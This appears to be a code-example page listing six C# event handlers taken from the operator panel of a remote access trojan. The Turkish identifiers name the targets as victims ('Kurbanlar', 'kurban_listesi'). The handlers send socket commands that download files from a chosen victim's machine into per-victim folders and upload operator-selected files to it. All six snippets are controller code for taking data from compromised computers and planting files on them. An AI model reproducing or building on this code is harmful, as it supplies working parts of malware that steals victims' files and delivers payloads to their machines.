Exemple #1
0
 private void toolStripMenuItem1_Click(object sender, EventArgs e)
 {
     if (listView2.SelectedItems.Count > 0)
     {
         foreach (ListViewItem down in listView2.SelectedItems)
         {
             if (down.Tag.ToString() != "back" && down.Tag.ToString() != "folder")
             {
                 try
                 {
                     Kurbanlar ident = ((Form1)Application.OpenForms["Form1"]).kurban_listesi.Where(x => x.id == soketimiz.Handle.ToString()).FirstOrDefault();
                     if (ident != null)
                     {
                         string id = down.Text + "|" + Environment.CurrentDirectory + "\\Store\\Downloads\\" + ident.identify;
                         if (((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id) == null)
                         {
                             byte[] senddata = Form1.MyDataPacker("INDIR", Encoding.UTF8.GetBytes(down.SubItems[1].Text));
                             soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null);
                         }
                         else
                         {
                             //MessageBox.Show("You are already downloading same file in same directory!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                             ((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id).TopMost = true;
                             ((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id).TopMost = false;
                         }
                     }
                 }
                 catch (Exception) { }
             }
             System.Threading.Tasks.Task.Delay(5).Wait();
         }
     }
 }
Exemple #2
0
 private void indirToolStripMenuItem1_Click(object sender, EventArgs e)
 {
     if (listView2.SelectedItems[0].ImageIndex != 0 && listView2.SelectedItems[0].ImageIndex != 13)
     {
         try
         {
             Kurbanlar ident = ((Form1)Application.OpenForms["Form1"]).kurban_listesi.Where(x => x.id == soketimiz.Handle.ToString()).FirstOrDefault();
             if (ident != null)
             {
                 string id = listView2.SelectedItems[0].Text + "|" + Environment.CurrentDirectory + "\\Klasörler\\İndirilenler\\" + ident.identify;
                 if (((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id) == null)
                 {
                     byte[] senddata = Form1.MyDataPacker("INDIR", Encoding.UTF8.GetBytes(listView2.SelectedItems[0].SubItems[1].Text));
                     soketimiz.BeginSend(senddata, 0, senddata.Length, SocketFlags.None, null, null);
                 }
                 else
                 {
                     MessageBox.Show("You are already downloading same file in same directory!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                     ((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id).TopMost = true;
                     ((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id).TopMost = false;
                 }
             }
         }
         catch (Exception) { }
     }
 }
Exemple #3
0
 public void karsiyaYukle(TextBox textBox)
 {
     if (string.IsNullOrEmpty(textBox.Text) == false)
     {
         using (OpenFileDialog op = new OpenFileDialog()
         {
             Multiselect = true,
             Filter = "All files|*.*",
             Title = "Select files to upload.."
         })
         {
             if (op.ShowDialog() == DialogResult.OK)
             {
                 try
                 {
                     foreach (string myFilepath in op.FileNames)
                     {
                         if (new FileInfo(myFilepath).Length > 0)
                         {
                             lock (myFilepath)
                             {
                                 if (File.Exists(myFilepath))
                                 {
                                     Kurbanlar krbn = ((Form1)Application.OpenForms["Form1"]).kurban_listesi.Where(x => x.id == soketimiz.Handle.ToString()).FirstOrDefault();
                                     if (krbn != null)
                                     {
                                         string check = textBox1.Text + myFilepath.Substring(myFilepath.LastIndexOf(@"\") + 1) + "[ID]" + krbn.identify;
                                         if (((Form1)Application.OpenForms["Form1"]).FindUploadProgressById(check) == null)
                                         {
                                             FileInfo fi         = new FileInfo(myFilepath);
                                             byte[]   icerik     = Encoding.UTF8.GetBytes(textBox.Text + "[VERI]" + myFilepath.Substring(myFilepath.LastIndexOf(@"\") + 1) + "[VERI]" + fi.Length.ToString() + "[VERI]" + myFilepath);
                                             byte[]   dataToSend = Form1.MyDataPacker("DOSYABYTE", icerik);
                                             soketimiz.BeginSend(dataToSend, 0, dataToSend.Length, SocketFlags.None, null, null);
                                             System.Threading.Tasks.Task.Delay(5).Wait();
                                         }
                                         else
                                         {
                                             //MessageBox.Show("You are already uploading same file to same directory!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                                             ((Form1)Application.OpenForms["Form1"]).FindUploadProgressById(check).TopMost = true;
                                             ((Form1)Application.OpenForms["Form1"]).FindUploadProgressById(check).TopMost = false;
                                         }
                                     }
                                 }
                             }
                         }
                         else
                         {
                             listBox1.Items.Add(DateTime.Now.ToString("HH:mm:ss") +
                                                $" - Don't allow to upload empty file, size is 0 byte => {Path.GetFileName(myFilepath)}");
                             metroTabControl1.SelectedIndex = 2;
                         }
                         System.Threading.Tasks.Task.Delay(5).Wait();
                     }
                 }
                 catch (Exception) { }
             }
         }
     }
 }
Exemple #4
0
        private void toolStripMenuItem15_Click(object sender, EventArgs e)
        {
            Kurbanlar krbn = ((Form1)Application.OpenForms["Form1"]).kurban_listesi.Where(x => x.id == soketimiz.Handle.ToString()).FirstOrDefault();

            if (krbn != null)
            {
                if (Directory.Exists(Environment.CurrentDirectory + "\\Store\\Downloads\\" +
                                     krbn.identify))
                {
                    System.Diagnostics.Process.Start(Environment.CurrentDirectory + "\\Store\\Downloads\\" +
                                                     krbn.identify);
                }
            }
            else
            {
                System.Diagnostics.Process.Start(Environment.CurrentDirectory + "\\Store\\Downloads\\");
            }
        }
Exemple #5
0
 public void karsiyaYukle(TextBox textBox)
 {
     if (string.IsNullOrEmpty(textBox.Text) == false)
     {
         using (OpenFileDialog op = new OpenFileDialog()
         {
             Multiselect = false,
             Filter = "All files|*.*",
             Title = "Select a file to upload.."
         })
         {
             if (op.ShowDialog() == DialogResult.OK)
             {
                 try
                 {
                     if (File.Exists(op.FileName))
                     {
                         Kurbanlar krbn = ((Form1)Application.OpenForms["Form1"]).kurban_listesi.Where(x => x.id == soketimiz.Handle.ToString()).FirstOrDefault();
                         if (krbn != null)
                         {
                             string check = textBox1.Text + op.FileName.Substring(op.FileName.LastIndexOf(@"\") + 1) + "[ID]" + krbn.identify;
                             if (((Form1)Application.OpenForms["Form1"]).FindUploadProgressById(check) == null)
                             {
                                 FileInfo fi = new FileInfo(op.FileName);
                                 byte[] icerik = Encoding.UTF8.GetBytes(textBox.Text + "[VERI]" + op.FileName.Substring(op.FileName.LastIndexOf(@"\") + 1) + "[VERI]" + fi.Length.ToString() + "[VERI]" + op.FileName);
                                 byte[] dataToSend = Form1.MyDataPacker("DOSYABYTE", icerik);
                                 soketimiz.BeginSend(dataToSend, 0, dataToSend.Length, SocketFlags.None, null, null);
                             }
                             else
                             {
                                 MessageBox.Show("You are already uploading same file to same directory!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                                 ((Form1)Application.OpenForms["Form1"]).FindUploadProgressById(check).TopMost = true;
                                 ((Form1)Application.OpenForms["Form1"]).FindUploadProgressById(check).TopMost = false;
                             }
                         }
                     }
                 }
                 catch (Exception) { }
             }
         }
     }
 }
Exemple #6
0
 private void denemeToolStripMenuItem_Click(object sender, EventArgs e)
 {
     if (listView1.SelectedItems.Count > 0)
     {
         foreach (ListViewItem down in listView1.SelectedItems)
         {
             if (down.Tag.ToString() != "back" && down.Tag.ToString() != "folder")
             {
                 if (down.SubItems[3].Text != "0 B")
                 {
                     try
                     {
                         Kurbanlar ident = ((Form1)Application.OpenForms["Form1"]).kurban_listesi.Where(x => x.id == soketimiz.Handle.ToString()).FirstOrDefault();
                         if (ident != null)
                         {
                             string id = down.Text + "|" + Environment.CurrentDirectory + "\\Store\\Downloads\\" + ident.identify;
                             if (((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id) == null)
                             {
                                 byte[] senddata = Form1.MyDataPacker("INDIR", Encoding.UTF8.GetBytes(down.SubItems[1].Text + "/" + down.Text));
                                 soketimiz.Send(senddata, 0, senddata.Length, SocketFlags.None);
                             }
                             else
                             {
                                 //MessageBox.Show("You are already downloading same file in same directory!", "Warning", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                                 ((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id).TopMost = true;
                                 ((Form1)Application.OpenForms["Form1"]).FindYuzdeById(id).TopMost = false;
                             }
                             System.Threading.Tasks.Task.Delay(5).Wait();
                         }
                     }
                     catch (Exception) { }
                 }
                 else
                 {
                     listBox1.Items.Add(DateTime.Now.ToString("HH:mm:ss") +
                                        $" - Don't allow to download empty file, size is 0 byte => {down.Text}");
                     //metroTabControl1.SelectedIndex = 2;
                 }
             }
         }
     }
 }